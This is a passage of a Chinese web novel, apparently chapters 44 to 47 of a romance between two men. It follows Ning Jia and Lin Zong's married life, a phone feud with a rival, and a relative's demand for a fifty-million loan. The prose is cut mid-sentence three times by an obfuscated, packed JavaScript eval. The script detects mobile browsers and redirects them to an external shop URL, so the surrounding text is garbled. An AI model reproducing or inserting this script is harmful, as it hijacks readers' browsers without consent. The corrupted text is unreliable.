林纵其实没醉,那点酒精最多是放大了他在宁嘉前展现的恶劣。 宁嘉要扶林纵去洗澡,林纵搂着宁嘉的脖子把人抱进浴缸,抱在怀里不松手。 “怎么了?”宁嘉感受到了恐惧,主要表现是菊花一紧。 宁嘉:“......” 林纵在宁嘉脖颈处嗅嗅,声音带着情.欲的喑哑:“脱衣服。” 宁嘉:“......” “不是,”宁嘉欲哭无泪,“你不要成天想着做这个啊。” 也不知道怎么回事,和林纵之间突然变成了这个样子,两个人独处的时候,就没有点正常的场景。 林纵应该还是醉了的,他搂着宁嘉不放,问:“不然呢。” 不行不行,宁嘉觉得肾虚,努力转移话题:“学长,我有事想要问你。” 林纵显然不想在这个时候谈人生。 宁嘉挣扎。 林纵只好说:“说。” 喝了酒的人没什么耐心,宁嘉只能简短地把先前和江软讨论过的事和林纵再重复一遍。 那两个视频林纵都有出现,宁嘉在和林少作对的时候,纵使是打了马赛克的林纵也必然会成为牺牲品。 宁嘉想要问一问林纵的意思,如果林纵不愿意,宁嘉必定不会做那样的事情。 就当做他和江软的谈话没有发生过。 林纵说:“随便。” 他亲了亲宁嘉,便把自己埋进浴缸里,陷进水下。 在宁嘉吃不准林纵是不是不高兴的时候,林纵又从水里冒出来,撸起湿淋淋的头发,朝宁嘉笑了下。 那是宁嘉,从来没有见到过的,林纵的样子。 惊讶到让他晃了神。 直到林纵再次滑下去,他都没有想清楚,刚才看到的是不是真的。 隔天周末,宿醉的几人都起晚了,睡醒后一起吃了顿饭才各自回家。 家里安静下来,又只剩下宁嘉和林纵。悠闲的安逸的午后,宁嘉坐在沙发上发呆,刷着网页,忽然想起昨天半夜和林纵提起的话。 明明喝了酒的是林纵,到这会儿,宁嘉反而也有些不确定了,他是不是问过林纵这样的话。 林纵在书房处理工作,门被推开,慢吞吞钻进来一个脑袋:“学长。” 林纵说:“进来。” 宁嘉这才打开门,手上端着一杯阿姨煮过冰镇好的酸梅汤:“你口渴吗?” 林纵不答反问:“给我喝的?” 宁嘉点头,林纵伸出手,宁嘉递过去,宁嘉碰到了林纵的手,有点凉,却像是被烫到,迅速收了回去。 他动作明显,林纵当然是看到了,只是宁嘉不提,林纵也不准备提,天亮着,他的酒也醒了,有些理智回来后,就没那么不管不顾。 宁嘉趴在林纵的办公桌旁,看着他喝了大半杯酸梅汤,杯子放到桌上,垫了张纸巾。 宁嘉的眼珠子全程跟着林纵的动作转来转去。 有些好笑,林纵问他:“看什么?” 宁嘉想了想,问:“学长,我昨天晚上问你的话,你还记得吗?” 想让宁嘉多说一句话,林纵问:“哪个?” 宁嘉对暗号似的,吐了两个字:“林少。” 林纵明白过来:“我知道。” 宁嘉再次确认:“你确定吗?我可以这样做?” 这件事对林纵而言没有任何损失,只是被人当做笑料而已,他本身就是个笑料,不是不去面对就会不是的。 “不可以的话,我会告诉你的。” 而事实上,在林纵这里,宁嘉几乎没有听过什么不可以。 结婚可以,不回家可以,把他放到网上被人笑也可以。 哦,宁嘉又想了想,他昨天和林纵说不可以的时候,林纵说的也是不可以。 宁嘉:“......” 哦。 宁嘉示意林纵把酸梅汤喝完。 林纵喝完,宁嘉接走杯子,静悄悄地退出房间,和江软合谋大事去了。 除了宁嘉刻意传播的途径外,那些闻着香味就来吃肉的营销号也没有放过这次机会。 周六晚上,网络上传播途径广的平台一时间都在讨论这件事—— 林少是谁。 林少知道消息的时候正被气个半死,呛了一口酒,唯一值得庆幸的是林平生不刷网络,暂时还不知道这件事在前几天的发酵后又一次被扩大了。 肇事者是谁,不费吹灰之力就查到了。 宁嘉和江软商量过,他没打算瞒,与其让林少在那乱咬,不如直接告诉他,就是宁嘉找的茬。 他主动来找宁嘉更好。 每逢休息,宁嘉做的最多的事就是发呆,在他这辈子也买不起的别墅里坐在他这辈子也不舍得买的沙发上,悠闲地思考人生。 就比如:老子辛苦奋斗二十载,没想到一招嫁入豪门,吃喝不愁。这种大别墅是我这种穷屌丝可以奢望的吗? 随即,宁嘉就会想:但是我现在就住在这里了呢,这竟然也是我可以住的地方。 诸如此类,时不时感叹人生竟然如此美好。 这种时候,林纵如果工作完,就会陪宁嘉在沙发上坐一会儿,宁嘉发完呆就开始刷手机,而林纵在这种时候才开始发呆。 这天也是这样的场景下,宁嘉的手机突然响了。 林纵抬眼,宁嘉朝着他笑,一副“果然不出我所料”的表情:“哦哟。” 林纵没存林少的手机号码,这么多年林少找了林纵那么多次麻烦,他也没记住对方的手机号,似乎真的只是个,一点都不相关的人。 林纵其实猜到了,还是问:“谁?” 宁嘉十分嘚瑟地和他说:“林少啊。” 宁嘉没有要接电话的意思,林纵挑了下眉,宁嘉笑着和他说:“不接啊,不着急。” 电话被自动挂断,片刻后,同一个号码再次,拨了进来。 宁嘉点接听,开免提,往林纵肩上靠过去。 两个人在一起相处久了,好像就会自然而然的变得亲密,比如两人一起在沙发上发呆,慢慢地就会往彼此的方向靠近,因为开了空调也不会觉得热。 “哪位?”宁嘉问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589853|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林少的语气和刚咽了屎似的:“我,林少。” 宁嘉:“哦。” “......”最开始林少看上宁嘉就是个错误,否则也不会到最后便宜了他们家私生子。 但这会儿林少忽然想,宁嘉这个人真的是不一般,林少有一种“很好,你成功引起了我的注意”的感觉,本来想和宁嘉吵一架,被一个“哦”打断突然换了想法,问:“你怎么不存我电话?” 卧槽,这个逼不会真的看上我了吧。 宁嘉惊恐地想,也没有人说过他很招同性恋的喜欢啊。 草草草。 宁嘉凶巴巴:“我有什么毛病,要存你电话?” 林少说:“你不是问我是谁吗?” 这通电话的画风忽然变了,宁嘉脊背僵硬,渐渐想要脱离开林纵:“有事说事,无事滚蛋。” 林纵一胳膊把宁嘉又环了回去,突然咬他的耳朵。 在这个时候,林少那傻逼的声音从手机里冒出来:“宁嘉,你搞我呢吧?” 宁嘉一手按在林纵腿上,希望这人克制一点,开口前还得深吸一口气,免得林少听着不该听的,又因为林少的话,下意识反驳:“我不搞你这样的。” 林少沉默了:“......” 林纵松了嘴也沉默了:“......” 林少他妈的无法反驳,并且只能凶神恶煞补充完先前的话:“网上那些事情是你做的,你想干什么?” 对嘛,这才是重点。 宁嘉整理情绪,反问:“你那天来我公司是想干什么?” 林少不知怎么,竟然异常好说话:“想让你辞职,不让你好过,让你明白和林纵在一起什么都不会有。” “然后呢?” “然后和他分开啊,和这种人在一起有什么好的。” 大概是被林少恶心习惯了,宁嘉心平气和了许多,还能恶心回去,说:“他器大活好。” 话说完,才想到身后坐着器大活好的主人公。 宁嘉:“......” 林少显然是被气得不轻,电话那头呼哧呼哧的硬是没有人开口,过了一会儿,才说:“我懒得和你废话,把热搜撤了,提条件。” 林少当然是能花这个钱让人撤热搜的,但问题是,如果有江家和他背后打架的话,他不一定会赢,还是得和宁嘉谈。 宁嘉说:“道歉。” 林少立马:“你做梦,能让老子道歉的人还没有出生!” 宁嘉不紧不慢地继续说:“给我和林纵道歉。” 林少怒吼:“你他妈找死!” “是你找的我,”宁嘉提醒他,“死不死的不要带上我,真是的,没点素质。” 林少被气得挂了电话。 宁嘉靠在林纵身上直乐,显然忘了那个器大活好的事:“他快被我气死了。” 林纵说:“你厉害。” 宁嘉转头不满:“这么敷衍?” 林纵淡问:“你想怎么不敷衍。” 哦,不好意思,宁嘉突然想到了,他刚刚说了什么:“没什么。”他又扭头回去,不和林纵说了。 晚饭的时候,林纵在厨房对着平板研究新菜谱,手机放在餐桌上,宁嘉坐在餐桌旁打游戏。 手机铃声响,宁嘉下意识喊:“学长,电话。” 林纵问:“谁?” 宁嘉瞥了一眼,在最初的愤怒后竟然笑了起来,不知道哪来的底气,反正很嚣张:“吴良仁啊,你接吗?” 林纵在研究海鲜烩饭,找食材,找配料,本来就够忙了,哪有空理这种人,果不其然他说:“不接。” “好嘞。”宁嘉把手机调成静音,背过屏幕,就什么都看不到了。 45. 第 45 章 林纵做饭总是有模有样的,宁嘉很羡慕,但他就是学不来,这一点算是完美遗传许诗瑶,一把手抓的调味料都是不受控制。 香味扑鼻的海鲜烩饭端上来,林纵问:“要吃哪个?还有一份饭。” “这么高级!”宁嘉当即兴奋,“我想吃面。” 林纵便把面条那份端给他。 “不知道怎么回事,”宁嘉低头认真嗅着碗里的面条,一脸沉迷,“我以前都不喜欢吃面的,但是最近很喜欢。” 具体是什么时候开始,宁嘉回头想想,大概就是那天从学校答辩回来高高兴兴要和许诗瑶见面,却被当头一棒砸得他应接不暇开始。 宁嘉吸溜一口面,幸福得要飞起来:“好吃。” “好吃就好。”林纵这才开始吃他那碗饭。 不过刚出锅的菜还是太烫了,宁嘉着急地想吃,饭菜的温度却不被控制,面条夹起来,吹了吹,宁嘉不着急吃,想到说:“学长,吴良仁是第一次找你吗?” “嗯?”林纵理解过来,“不知道从哪找的我电话。” “第一次联系你?”宁嘉追问。 林纵打量着宁嘉的神色,说:“我没存他号码,也没接过,应该是第一次吧。” 宁嘉点点头,面条送进嘴里,想了一会儿。当初说过不告诉林纵,想要自己解决,宁嘉在事后确实拒绝了许诗瑶。 不知道许诗瑶怎么和吴良仁说的,或许意识到这件事在许诗瑶这里不会有进展,吴良仁索性主动找了林纵。 横竖就那些破事,既然林纵被宁嘉牵扯进来,也就没什么好瞒的,宁嘉吃着面,不那么在意的语气:“我妈找我借钱,吴良仁让他借的,我拒绝了,所以他来找你。” 林纵点点头,看起来并不意外。 不过,宁嘉想,知不知道,林纵都是这个表情。别的人谈事情察言观色总能得到点什么,林纵表情永远平淡,无论是开心还是不开心,他脸上永远是放松又不在意的样子。 “学长,你知道?”不过宁嘉好奇。 “吴良仁最近在接触一个项目,听说前期投了钱,但是后期资金跟不上,”接触到宁嘉的眼神,林纵解释说,“林平生告诉我的。” 这下宁嘉惊讶到了,惊讶之后变成错愕和难堪,吴良仁的行为实在太丢人了。从法律关系上来说,宁嘉和他并没有关系,可在有心人眼里,吴良仁和许诗瑶的关系是透明的,在某种程度上,吴良仁代表的是宁嘉不想承认但许诗瑶迫不及待想要的家人。 宁嘉皱着眉:“他知道吴良仁要找你借钱吗?” “可以猜到,”林纵没瞒着宁嘉,“他提醒我了,吴良仁要的不是小钱。” 可能还不止,避免不想听的话从林纵口中说出,宁嘉立马接过话茬:“多少钱你都别借。” 林纵看向宁嘉,宁嘉很不想要和吴良仁摊上关系,连忙说:“不管是我亲爸那个赌鬼,还是吴良仁这个贪财鬼,你都不可以借他们钱的。” 林纵笑了下,想说他想借也借不了,宁嘉的亲生父亲毕竟不在了。 “学长。”宁嘉看起来很着急,很怕林纵因为他的关系便宜了不该便宜的人。 林纵也不好逗他,笑说:“我知道了,不会借他钱的。” 宁嘉还是不放心,毕竟林纵太有钱了,很怕这些有钱人借钱消灾敷衍了事:“一百块也不可以。” 林纵好脾气地说:“我知道。” 宁嘉又说:“如果他打电话给你......” 林纵:“还怕我应付不了他?” 好嘛,宁嘉很不情愿地放心下来。 两人在家度过了很寻常的一个周末,哪里都没有去,期间林纵下了两次厨,味道都很不错,宁嘉也进过一次厨房,折腾闻凯传授的百香果自制饮料,最后把盐放成了糖,林纵喝了一口,冷静道:“做得好,下次别做了。” 宁嘉:“......” 吴良仁也不知道有没有再打过电话给林纵,林纵没有提过。 周一早上,宁嘉活蹦乱跳地上班去,心情极好,写字楼里那群人对他都好奇完了,看到宁嘉反而想起林少,那是他们这辈子可能都接触不到的人,因为那个高度企及不到,反而有些许议论。 中午,林纵给自己和宁嘉各点了一份外卖,虽然林纵提前说过,但宁嘉拿到外卖还是很开心,给林纵拍了照片:酷! 林纵回:吴良仁早上给我打电话了。 宁嘉:“!!!” 退出微信,立马拨了电话过去:“学长。” 办公室空无一人,林纵吃着午饭,唇角微翘:“嗯。” 宁嘉气得像个河豚:“那个不要脸的老东西找你说什么了?” “那个不要脸的老东西。”林纵学着宁嘉的语气说。 宁嘉深吸一口气,听林纵说:“找我借五千万。” 宁嘉:“?” 宁嘉:“???” 五千万? 这是什么小众数字。 “妈的,他是不是找死,”顾不上办公室还有个别留守儿童,宁嘉骂道,“我还以为他最多借个五十万,还说拿我爸的车祸补偿金给他算了,好歹能让我妈醒醒脑。” 林纵:“......” 宁嘉气急败坏:“所以他找你说什么了?” ...... 吴良仁看起来真的很着急,周末给林纵打个三个电话,自动挂断后就没有再拨了,大概是觉得林纵周末不接电话,于是周一一早上,林纵才到公司,电脑右下角显示九点整的时候,电话就按了进来。 林纵接听了电话,挥了挥手,正准备汇报工作的助理又退了出去,临走前,听见林纵温和地问:“你好,哪位?” “是我啊,”说到这,吴良仁顿了顿,不知该怎么和林纵介绍他的身份,总不能叫名字吧,便说,“是叔叔呀。” 林纵显然不知道他有哪个叔叔会打他的工作电话,就很疑惑:“不好意思,哪位?” 吴良仁没办法,只好说:“宁嘉的叔叔呀。” 吴良仁不和许诗瑶结婚,许诗瑶成不了他的妻子,他也变不成宁嘉的继父。 叔叔,多么尴尬的一个词语,还是个没有血缘关系的,连亲戚都算不上,竟然也想来攀关系。 林纵整理着文件,心不在焉的语气:“不好意思宁嘉不是予市人,请问你是?” 没有办法,吴良仁只好自我介绍:“吴良仁呀,你和嘉嘉结婚后我们还一起吃过饭的,宁嘉的妈妈也在。” 好像是有这么回事,林纵也不知想没想起来:“嗯,你好,是有什么事吗?” 纵使林纵再不愿意承认,他也是林平生的儿子,天生的上位者,骨子里就拥有高人一等的傲气,吴良仁年纪比较大,其他方面却并不怎么样,不管有没有宁嘉这件事,林纵都没有把他放在眼里。 “是这样的......” 就像林纵了解的那样,吴良仁委婉的为难地告诉林纵他需要借钱的事,林纵听完,语气如常道:“需要多少?” 吴良仁说:“也不是很多,五千万。” 林纵便笑了起来,真的很好笑,宁嘉在予市的新工作实习工资不到五千,而吴良仁一开口就要五千万。 这个钱,林纵并不是没有。 纵使不准备借钱给吴良仁,也还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598402|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好声好气地说:“嗯,可以的,那麻烦你写一张欠条,盖上企业公章,送到我秘书室审核,没问题后,我会让财务给你拨款。” “啊......”吴良仁为难起来,“我们都关系这么好了,怎么还要写欠条呢?” 林纵笑说:“亲兄弟也要明算账的,何况你和宁嘉关系也一般。” 吴良仁:“......” 林纵这个人乏味无趣的,也不知道要给宁嘉讲笑话,叙述事情平铺直叙,还会下意识省略过程。 宁嘉听了个大概,就记得那句“你和宁嘉关系也一般”,笑得差点倒在便当盒里面。 “哈哈哈哈哈哈哈哈哈——” 林纵:“......” “笑死我了,”宁嘉像个傻子似的一阵颠笑,“他天天在我妈面前装的一副正人君子的样子,也就我妈被他迷住,问题是他长得也不好看啊,还有一点秃然。” 林纵:“......” 吴良仁是有一点秃的,秃在后脑勺,可能因为许诗瑶身高不够,发现不了这个问题。 吴良仁借不到钱,应该心情也很突然,他不知道现在的年轻人不按常理出牌,根本不介意所谓的尊老爱幼,如果你为老不尊,牙都给你拔掉。 这下宁嘉心情舒畅了,好好吃饭,好好午睡,下了班就往江软家撤退,输入密码解锁——密码错误。 宁嘉不死心,再来一次——密码错误。 “......” 直到门锁被锁定,宁嘉意识到了什么,拨打江软的电话,一顿臭骂:“你把密码改了?” 江软:“......” 宁嘉:“你什么意思?不欢迎我?要和我绝交了?” 江软:“......” 宁嘉怒气冲冲:“改密码防的谁?” 这题江软会:“你。” 宁嘉一口气没提上来,差点过去了:“......” 江软还没下班,苦口婆心地劝说:“哥们,你是结了婚的人了,别天天缠着哥不放。” 宁嘉气急:“谁缠着你了!” 江软说:“那就对了嘛,你天天不回家,林纵得怎么想?” 宁嘉心说想离婚呗。 江软先一步说道:“不是这个理,你不回家还总来找我,我怕被他揍。” 宁嘉:“......” 好像是这么回事吧,他们之间剪不断理还乱,要是单纯的因为利益结婚就算了,但宁嘉觉得,真想要和林纵分开,又好像不是利益那么简单。 宁嘉总是觉得,林纵又没有做错什么,林纵那么好,不应该被他那样对待。 等到宁嘉灰头土脸回到家都快八点了,林纵早就到家了,正在厨房里忙碌,他最近工作都少了,成天在厨房里折腾,宁嘉不知道,林纵这是终于找到点人生的乐趣了。 “学长。”宁嘉突然有一点尴尬,无所适从地站在厨房门口看着林纵。 林纵应了声:“回来晚了。” 宁嘉心说,要是江软不改密码,我都不回来呢。 嘴上又乖巧地:“嗯。” 林纵:“去洗手,吃饭吧。” 宁嘉从洗手间出来,林纵已经把饭菜端上桌了,明明大中午笑的像傻子似的人是宁嘉,这会儿偏偏又像个哑巴。 “不喜欢吗?”林纵问。 宁嘉摇摇头。 林纵肯定是知道的,宁嘉这么晚回来是去了哪里,但是林纵什么都没有问。 宁嘉很愧疚,相当愧疚。 但当宁嘉半夜被林纵扒掉衣服的时候,他又不这么想了。 呜呜呜。 46. 第 46 章 许诗瑶午觉睡醒,收到吴良仁的消息,说是晚上要来家里吃饭,他来下厨。 许诗瑶很高兴,他们有几天没见了,虽然每天睡前都会打半个小时电话,但还是有点想他。 换好了衣服,许诗瑶出门去买菜。因为厨艺不好,许诗瑶连买菜技术都不太好,不怎么会挑食材的新鲜度也不知道该买些小料增添味道,还是吴良仁一点点教她的。 菜挑完又去买了些水果,最近的西瓜很甜,吴良仁最喜欢吃。 到家后休息了一会儿,泡了杯果茶喝,打开电视看了几集肥皂剧,时间慢慢六点半,吴良仁还是没来。 以往吴良仁要过来,一起吃饭的话会晚一点,如果要下厨的话六点左右就会到,许诗瑶充分表现出了自己的体贴,她没有过多联系吴良仁,怕对方有事,她的电话显得打扰。 七点钟,许诗瑶等不及了,给吴良仁打了电话:“你怎么还没来呀。” 电话接通得慢,吴良仁的声音有点轻,像是怕被人听见:“我在家吃饭呢。” 和许诗瑶的关系明眼人都心知肚明,吴良仁的儿子吴华也是清楚的,但吴华是个成年人了,父母离婚是因为感情不和,也接受吴良仁身边有新的人出现,可不允许他把这个人带回来。 许诗瑶没有绝对提过这一点,但在几次隐约的试探中,她发现自己想要当做亲生儿子对待的未来继子似乎都不喜欢她,渐渐的,也就不提及了。 现下吴良仁那么拘谨地讲话,许诗瑶当即明白过来,想说“你不是答应陪我吃饭了吗”,又或是“我菜都准备好了,你又不来烧了吗”。 许诗瑶有一点生气,但她又不是会发火的人,只是声音有点冷淡:“这样啊,那你先吃吧。” 察觉出许诗瑶的情绪,原本想要挂电话的,吴良仁停下脚步,问道:“你吃饭了吗?” 许诗瑶不想表现出生气的样子,只是嗔怒道:“不想吃了。” 吴良仁便笑笑,哄她:“先吃点饭垫垫肚子,晚一点我就过来。” 许诗瑶觉得没有意思,有什么好等的呢,我等了你那么久,你也没有想到我。 许诗瑶的厨艺真的不怎么好,买了一堆她不擅长做的食材,一个人在厨房里瞎折腾。 菜做的不怎么好吃,厨房里散发着食材淡淡的香味。 做好的菜被一盘盘端上桌,许诗瑶站在餐桌前看看,有点不想一个人吃饭。 可以找谁呢,许诗瑶沉默地想着,她在予市认识的朋友并不多,偶尔出来喝下午茶,或者晚上一起出门散步,除此之外没有多余的相处时间。 许诗瑶想到了宁嘉,她的亲生儿子,但宁嘉最近应该不太想理她,她知道为什么,但不知道该怎么平衡宁嘉和吴良仁之间的关系。 那通电话最后还是没有拨出去,太久没和宁嘉联系,反而有些生疏了。 油烟机的噪音掩盖了打开时的轻响,许诗瑶还在切菜,吴良仁静悄悄地进来,走到她旁边:“我来吧。” 许诗瑶吓了一跳,紧接着闻到吴良仁身上沐浴液的清香,也不知道是个什么情况,还是下意识替对方考虑:“不用了,你都洗过澡了,一会儿还出汗。” “没事,我来吧。”吴良仁从她手上接过菜刀。 许诗瑶便不推拒了,松开手退到一旁,脸上又带了些笑意:“我还以为你不来了。” 吴良仁笑了笑:“不是答应过你了吗?” 吴良仁做菜行云流水,很熟练,味道也很好,许诗瑶总喜欢在旁边学:“我刚才做了糖醋排骨,有点焦了。” 吴良仁说:“我刚才看了,还好,应该味道不错。” 许诗瑶于是开心起来,忘了吴良仁迟到的事。 原先说过来做完饭,最后只做了一道菜,可许诗瑶还是觉得满足,只要吴良仁出现在面前就忍不住笑。 许诗瑶给他盛饭,又给他夹菜,吴良仁吃得不多,笑着说:“肚子不饿。” 许诗瑶不太高兴,又不想说谁让你吃完饭过来的,便说:“菜买多了,早知道让嘉嘉过来一起吃了。” “怎么不叫他?”吴良仁问。 许诗瑶说:“嘉嘉还不高兴呢,好几天没找我了。” 自从上次宁嘉把许诗瑶拒绝后,吴良仁也不怎么找许诗瑶了,只是通电话,已经有好几天没有过来了。 许诗瑶提这话,也是有点怪吴良仁,总觉得对方因为这件事也迁怒了他。 吴良仁笑起来:“这几天确实有点忙,”又说,“我早上联系过林纵了。” 许诗瑶紧张起来:“小纵怎么说呀。” 吴良仁叹了口气,似乎真的因为小辈的不懂事而感到为难:“他说不太好借,毕竟和我没有那么熟。” 闻言,许诗瑶着急地说:“怎么会不熟呀,小纵又不是没有见过你。” 吴良仁长叹一口气:“我这身份,确实是有些不合适。” 到这会儿,许诗瑶反而不知道该怎么提了,吴良仁曾经答应她的后来又没有提到的结婚,如果两人结婚,这些事情都会变得名正言顺。 可是吴良仁不提,许诗瑶又不希望自己太主动了。 吴良仁这样,许诗瑶也不好受,对方意气风发的样子才有魅力,出谋划策:“要不,我去找小纵谈谈吧?” 吴良仁拿起筷子,吃了口糖醋排骨,很无力的样子:“你能找他是最好的,终归我是个外人。” “好呀,”因为可以帮到吴良仁,许诗瑶显得很高兴,“我明天去找找小纵,说起来他和嘉嘉结婚这么久了,我还没有和他谈过呢。” 吴良仁给许诗瑶夹菜,安慰道:“现在的年轻人品行都端正,你也不用太担心。” 许诗瑶点点头,又有些难过:“嘉嘉长这么大,我一直没有好好照顾过他,”明知道不该提,还是说,“还是他爸对他好一些。” 吴良仁拍拍她的肩,安慰:“好了,不提这些了,有空和他聊一聊,他那么孝顺,哪舍得生你的气。” 隔天上午,八点多,还没出门,林纵就接到了许诗瑶的电话。 宁嘉半梦半醒被林纵拉到浴室去洗漱,他挂在林纵身上,快要累觉不爱了。 这个时候林纵的手机响了,宁嘉要自己站好,林纵才能有空去拿手机。 宁嘉很不情愿,对着林纵的背影碎碎念:“我好困,我不想上班,都是你不让我睡觉,干吗还要叫我起床,为什么我还要刷牙。” 林纵:“......” 林纵哭笑不得,背影都踉跄了一下。 等到林纵拿起手机,宁嘉又瞬间静音。 林纵接通电话,转头看着宁嘉:“嗯,是我。” 宁嘉:“?” 宁嘉圆溜溜的眼睛瞪着林纵,无声地问:看我干吗? “嗯,今天吗?什么时间?” “好的,那您到时候联系我。” 林纵低头,按了挂断键,背过身把手机放到沙发旁,再看向宁嘉,宁嘉还是呆呆地看着他,不知道是没醒还是快睡着了。 “怎么了?”林纵问。 宁嘉慢吞吞的神志不清地说:“不是你在看着我吗?” 林纵走过去,像很小的时候,许诗瑶帮宁嘉洗脸那样很粗鲁地用毛巾擦他的脸。 宁嘉的声音被毛巾捂得闷闷的,还话痨:“你干吗......我,我自己嫩洗。” 林纵在这当头丢下一枚炸弹,语气冷淡:“你妈妈刚才打电话给我。” 宁嘉一顿:“谁?” 林纵竟然真再次回答宁嘉:“你妈妈,应该和吴良仁是同一件事。” 宁嘉顿时身上无力,面条似的想要往地上滑,林纵把他捞起来:“怎么了?” 宁嘉虚弱道:“......学,学长。” 林纵托着他:“嗯。” 宁嘉哆哆嗦嗦地控诉:“家门不幸啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612093|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么严肃的场合,林纵不知道为什么笑起来,觉得不是什么大事:“她约我晚上吃饭,我答应了。” 宁嘉软绵绵地点头,许诗瑶毕竟不是吴良仁。林纵看在她和宁嘉的母子关系上不会轻易拒绝她,对她也比较尊重。 洗完漱,从浴室出来,宁嘉的心情还是没有平复,林纵也不着急,只坐在他身旁等着,任由上班时间一点点过去。 时间在宁嘉这里似乎是停止的,他觉得荒唐,因为荒唐所以想到了很多更荒唐的事情,那些回忆让时间过得很快,许久后,像是才发现林纵还在身边,宁嘉沮丧的松了一口气的,往林纵身上一靠:“学长。” 林纵圈着他的肩,在他侧脸处亲了一口。 明明很丧的宁嘉小脸通红:“......” “你,你......” 林纵气定神闲:“我怎么?” 宁嘉摇头,靠了回去,不太想动,又叹了口气,觉得闷得不行,林纵揉揉他的头发,并不说话。 “学长,我爸好赌,你知道吧。” 终归要面对现实,有些话还是不得不说,或许连宁嘉自己都没有意识到,最开始只是因为那些私心想要和林纵结婚,慢慢的,因为两人生活轨迹的交织,他们不得不融进彼此的人生。 像是,我知道你有个糟心的家庭。 林纵可能会说,我也是。 其实也挺好的。 那些你觉得讨厌,而我也觉得讨厌的事,让我面对这样荒诞的人生时不觉得孤独。 林纵:“嗯。” 宁嘉说:“家里每次卖房子,我妈都会和我爸吵架,希望他不要赌了,可是我爸不肯,做不到,那个时候卖房子也是为了还债。” “其实我妈对我爸早就没感情了,我听过她和别人那电话说我爸的坏话,那种话听到就知道她不爱了。” 虽然宁嘉到现在都不懂什么叫爱,可大概是小时候见过,所以也知道父母之间没有感情是什么样的。 “那之后我就劝我妈和我爸离婚,我说让她自己离开就行了,我跟着我爸,也不会真的饿死的。我妈却不肯离,很坚决,怎么都不愿意走。那时候我以为她是不舍得我们,没有爱情大概还有亲情吧,直到有一次,我妈终于忍不了了,和我说,女人离了婚就会顶着‘离过婚’的名头,会被人嘲笑,她接受不了。” 其实宁嘉不是不知道,他都知道,许诗瑶是爱他的,但她爱自己更多,这么多年来她做的每个选择都是先为自己再为宁嘉。 宁嘉是许诗瑶的儿子,天生的血缘关系母子亲情,他不想用那样的想法去揣测他的母亲,所以他不想承认,也装作自己不知道,只以为许诗瑶是爱他的就可以了,算不上自欺欺人。 到这会儿,宁嘉才终于面对了真相,和林纵结婚没什么,因为是林纵,所以宁嘉可以接受;可是要找林纵借钱不可以,因为那是林纵。 宁嘉终于得承认一个事实,为了吴良仁,许诗瑶已经不要他了。 所以那些不好,那些不愿意怀着恶意去揣测的曾经又渐渐冒了头,幻灯片似的在脑海中循环播放,一遍遍的,神经质的告诉宁嘉,你妈原来不爱你呢。 所以说算了,宁嘉叹了口气。 算了,宁嘉慢慢咽下那口气。 “后来我爸去世了,我妈成了寡妇,她又不介意了,因为吴良仁出现了,她觉得吴良仁爱她对她好,她不想要和吴良仁分开。” “所以她把我送给了林家,又让我找林家要钱,因为吴良仁想要,我妈就替他要。” 宁嘉说:“学长,我妈不要我了。” “我知道了。”林纵轻轻拍着宁嘉,觉得这不是什么很重要的事。 他知道宁嘉和他说了这么多是为了什么,知道见到许诗瑶的时候,他应该说些什么。 宁嘉想问,你知道什么啦? 但是算了,说话好累的。 算了。 47. 第 47 章 先前因为宁嘉在,林纵没有和许诗瑶说很多,到了公司后,才重新回拨的电话。 许诗瑶还在睡回笼觉,早早起来只为了和林纵把见面的时间约好,她怕自己忘了,也怕太晚林纵会因为没空把她拒绝了。 来到予市这么些年,许诗瑶一直过着贵妇般的生活,晚睡晚起,和朋友和下午茶或是一起打麻将,除了名分其他东西吴良仁都愿意给许诗瑶。 许诗瑶的声音迷迷糊糊的,显然是还不清醒:“谁呀。” “我是林纵。”和平常一样,林纵用冷淡的语气和他丈母娘做自我介绍。 许诗瑶犹豫了一会儿,没反应过来,愣了愣才倏然坐起来:“是小纵呀?” 宁嘉几次谈论许诗瑶,表现出来的都是困惑和茫然,林纵一直不太理解,现下才终于理解,单单是这两个字,林纵便败下阵来,这一刻,他好像得到了很多。 “是我,”林纵说道,“您早上说要晚上一起吃饭,我想把时间改成中午。” 说要晚上吃饭,只是因为这阵子中午还热,许诗瑶怕晒,不怎么想出门,但林纵说要中午,她当然也是可以的,又问:“怎么了呀?” 林纵看了眼时间,简单掠过助理送进来的文件,同时回答许诗瑶:“想和宁嘉一起吃晚饭。” 许诗瑶惊得眼睛都亮了。 中午吃饭的时候,许诗瑶理所应当把话说出口:“小纵和嘉嘉的感情是不是很好呀?” 许诗瑶说要打车过来,林纵却还是让司机去接,许诗瑶这会儿对林纵的印象非常好,两眼笑眯眯的,满意地看着林纵。 